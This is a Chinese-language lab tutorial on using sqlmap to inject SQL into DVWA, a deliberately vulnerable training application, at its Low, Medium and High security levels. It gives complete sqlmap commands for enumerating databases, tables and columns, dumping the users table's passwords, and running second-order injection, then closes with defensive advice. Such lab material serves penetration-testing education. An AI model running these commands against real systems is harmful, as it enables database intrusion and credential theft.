Sqlmap自动化注入(dvwa从low到high)
字数 907 2025-08-18 11:39:04
SQLMap自动化注入攻击DVWA从Low到High级别全面指南
一、DVWA环境准备
- 设置DVWA安全级别为Low
- 打开DVWA的SQL Injection或SQL Injection (Blind)模块
- 通过浏览器调试工具查看请求
二、Low级别注入
1. 识别注入点
- 请求方式:GET
- 示例URL:
http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
2. 基本SQLMap命令
sqlmap -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#"
3. 添加Cookie维持会话
- 使用Burp Suite获取Cookie
- 完整命令:
sqlmap -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" --dbs
4. 数据库信息枚举
- 列出所有数据库:
sqlmap -u "URL" --cookie="COOKIE" --dbs
- 指定数据库查看表:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa --tables
- 查看表结构:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users --columns
- 导出数据:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users -C password,user --dump
三、Medium级别注入
- 将DVWA安全级别调整为Medium
- 将请求数据包保存为.txt文件
- 使用-r参数读取文件:
sqlmap -r request.txt --dbs
四、High级别注入(二阶注入)
1. 特点
- 提交页面与返回结果页面不同
- 需要使用二阶注入技术
2. 命令示例
- 爆数据库:
sqlmap -r 1.txt --second-url "http://192.168.1.222:8089/vulnerabilities/sqli/" --batch --level 2 --dbs
- 爆表结构:
sqlmap -r 1.txt --second-url "URL" --batch --level 2 -D dvwa -T user --columns
- 导出数据:
sqlmap -r 1.txt --second-url "URL" --batch --level 2 -D dvwa -T users -C user,password --dump
五、关键参数详解
1. 二阶注入参数
--second-order:用于二阶SQL注入--second-url:指定返回结果的页面URL
2. 自动化参数
--batch:自动使用默认配置,无需手动确认
3. 探测等级参数
--level:1-5级,默认1- Level 1:测试GET参数
- Level 2:测试Cookie
- Level 3:测试User-Agent/Referer头
- Level 5:测试所有可能的注入点
六、最佳实践建议
- 不确定注入点时,建议使用level 5(速度较慢但全面)
- 对于复杂注入场景,优先使用-r参数加载请求文件
- 二阶注入必须指定返回结果的URL
- 保持会话需要正确设置Cookie
七、安全防护建议
- 使用参数化查询
- 实施最小权限原则
- 对用户输入进行严格过滤
- 使用Web应用防火墙(WAF)
- 定期进行安全审计和渗透测试
通过本指南,您可以全面掌握使用SQLMap对DVWA从Low到High级别的自动化注入技术,理解不同安全级别下的注入差异及应对方法。